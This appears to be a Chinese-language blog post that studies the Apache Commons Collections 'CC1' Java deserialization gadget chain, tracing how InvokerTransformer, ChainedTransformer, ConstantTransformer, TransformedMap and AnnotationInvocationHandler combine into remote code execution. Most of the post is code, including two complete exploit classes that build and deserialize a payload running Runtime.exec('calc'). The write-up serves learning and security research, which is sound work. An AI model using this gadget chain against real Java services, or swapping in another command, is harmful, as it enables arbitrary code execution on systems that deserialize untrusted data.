CC1链学习分析

前置知识介绍

Transformer

Transformer接口的transform方法是CC链1的核心,分析之前先学习下这块知识

image-20220127135409282

使用ctrl+alt+b查看该接口的实现类有哪些

image-20220127135540840

挑几个在接下来会用到的类看看

ChainedTransformer.java

将传入的object数组遍历,第一个数组的尾作为第二个数组的参数,依次形成链式调用。

image-20220127135707833

ConstantTransformer.java

这个类的transform方法无论传入什么样的object对象都会返回一个iConstant私有对象,而这个对象通过有参构造函数传入,为我们可控。

image-20220210212413672

image-20220210212402819

InvokerTransformer.java

看到红框处反应快的同学应该能联想到反射,这块代码就是用于实现某个方法的

image-20220127140040277

查看下里面的参数是否可控,可以看到其有参构造就是个常量赋值,参数可控的情况下即可触发任意命令执行。

image-20220127140331942

尝试实现该类方法

先写一段常见的利用反射的命令执行代码

         Runtime runtime = Runtime.getRuntime();
         Class<? extends Runtime> aClass = runtime.getClass();
         Method exec = aClass.getMethod("exec", String.class);
         exec.invoke(runtime,"calc");

然后套写invokerTransformer

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);

image-20220127140658678

这样我们就找到并实现了危险方法了。


分析过程

已经知道transform方法可以实现任意命令执行,寻找还有哪些不同的方法调用了transform,可以看到总共有21个。目前网上的CC1链有两条,ysoserial用的是LazyMap,另一条用的是TransformedMap,这里我们以TransformedMap.checkSetValue方法为学习切入点

image-20220210213924671

image-20220210213957389

image-20220210214022719

如上图可看到valueTransformer值为TransformedMap参数赋值所得,由于是protected修饰,无法在不同包下直接调用,看看在有哪些调用了该方法

image-20220210214300847

找到了静态方法decorate,并且确定了valueTransformer值可控,找到了控制valueTransformer值的方法,接下来我们需要实现checkSetValue。同样的该方法我们无法直接调用,查看哪些方法调用,看到只有AbstractInputCheckedMapDecorator类里面的静态内部类MapEntry的setValue方法最终调用了checkSetValue方法

image-20220210220305055

这里不是很懂,在别的视频文章中学到的是类比map遍历集合的getValue和setValue方法,MapEntry的setValue方法跟map遍历结合的setValue一样

image-20220210220909894

所以我们只要遍历map集合再调用setValue方法即可触发transform方法。

该部分完成代码如下

         Runtime runtime = Runtime.getRuntime();
         InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"});
         HashMap<Object, Object> hashMap = new HashMap<Object, Object>();
         Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, invokerTransformer);
         hashMap.put("1","2");
         for (Map.Entry entry : decorate.entrySet()){
             entry.setValue(runtime);
         }

image-20220210221725803

通过以上分析我们可以套娃,找到还有哪些不同的方法调用了setValue,最好在readobject方法内,看到39个方法调用,就不一一看了,在AnnotationInvocationHandler中的readObject方法中调用了,完美符合我们想要的

image-20220210222134303

image-20220210222336310

内部代码好像挺复杂,我们需要memberValues和setValue内的值可控并保证符合if逻辑能够走进setValue方法。挨个看吧,首先看看memberValues在哪赋值,通过下图可以知道该类无法直接调用,可以使用反射调用该构造器进行赋值,其中Annotation指注解类型

image-20220211093838834

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, decorate);
serialize(o);
unserialize("C://ser.txt");

通过上述代码实现了该构造方法并将decorate传入。

接下来我们需要解决实现setValue的问题,实现其方法需先实现reabObject方法,由于需要反序列化,所以先进行序列化,而runtime.getRuntime对象无法直接序列化

image-20220211095228686

但Class对象是可以序列化的,所以也需要用到反射将getRuntime反射出来。可以对比着正常反射写。

常规反射

Class<Runtime> runtimeClass = Runtime.class;
 Method method1 = runtimeClass.getMethod("getRuntime",null);
 Runtime runtime = (Runtime) method1.invoke(null,null);
 Method exec = runtimeClass.getMethod("exec", String.class);
 exec.invoke(runtime,"calc");

对比常规反射用InvokerTransformer方法实现

 Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
 ​
 Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntimeMethod);
 ​
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

这里可以使用ChainedTransfomer类将代码进行优化

 //新建Transformer数组,并将上述代码赋值其内
 Transformer[] transformers = new Transformer[]{
                 new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                 new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
         };
         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
         chainedTransformer.transform(Runtime.class);

完整代码

 
package com.superman;
 ​
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.TransformedMap;
 ​
 import java.io.*;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.util.HashMap;
 import java.util.Map;
 ​
 public class CC1Test {
     public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
         Transformer[] transformers = new Transformer[]{
                 new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                 new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
         };
         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
         HashMap<Object, Object> hashMap = new HashMap<Object, Object>();
         Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
         hashMap.put("1","2");
         Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
         Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
         constructor.setAccessible(true);
         Object o = constructor.newInstance(Override.class, decorate);
         serialize(o);
         unserialize("C://ser.txt");
     }
     public static void serialize(Object obj) throws IOException {
         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));
         objectOutputStream.writeObject(obj);
         objectOutputStream.close();
     }
 ​
     public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
         ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
         Object object = objectInputStream.readObject();
         return object;
     }
 }

完成上面代码就已经完成了一大半了,但实际还有两个问题,if判断如何进去以及setValue内的值我们如何控制

image-20220211114230610

可以看到memberType使用get方法查找,name来自于我们传入的key值,可控;而memberTypes来自于annotationType的成员变量,所以我们需要控制传入的key值与注解的成员变量相同。

可以看到Target注解的成员变量有value

image-20220211115126492

将key值改为value,Object对象改为Target

image-20220211115226261

调试后可以看到name值和memberTypes值相同,可以进入if判断

image-20220211134240243

最后跟踪进setValue

image-20220211141343003

image-20220211141502525

现在value是AnnotationTypexxxxxxxproxy这个,而我们希望的是Runtime.class,这里我们需要用到之前介绍到的ConstantTransfomer,他的作用可以控制最后的返回值,我们可以控制其返回Runtime.class,添加进ChainedTransformer。

最终实现代码

 
package com.superman;
 ​
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.TransformedMap;
 ​
 import java.io.*;
 import java.lang.annotation.Target;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.util.HashMap;
 import java.util.Map;
 ​
 public class CC1Test {
     public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
         Transformer[] transformers = new Transformer[]{
                 new ConstantTransformer(Runtime.class),
                 new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                 new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
         };
         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 ​
         HashMap<Object, Object> hashMap = new HashMap<Object, Object>();
         hashMap.put("value","2");
         Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
         Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
         Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
         constructor.setAccessible(true);
         Object o = constructor.newInstance(Target.class, decorate);
         //serialize(o);
         unserialize("C://ser.txt");
 ​
     }
     public static void serialize(Object obj) throws IOException {
         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));
         objectOutputStream.writeObject(obj);
         objectOutputStream.close();
     }
 ​
     public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
         ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
         Object object = objectInputStream.readObject();
         return object;
     }
 }

总结

最后控制setValue内容的地方挺巧妙,其他的说白了还是自己对Java不够熟悉,达不到灵活应用的地步。不过想想构造这些链的人是真厉害

posted @ 2022-02-11 15:52  我要变超人  阅读(710)  评论(0编辑  收藏  举报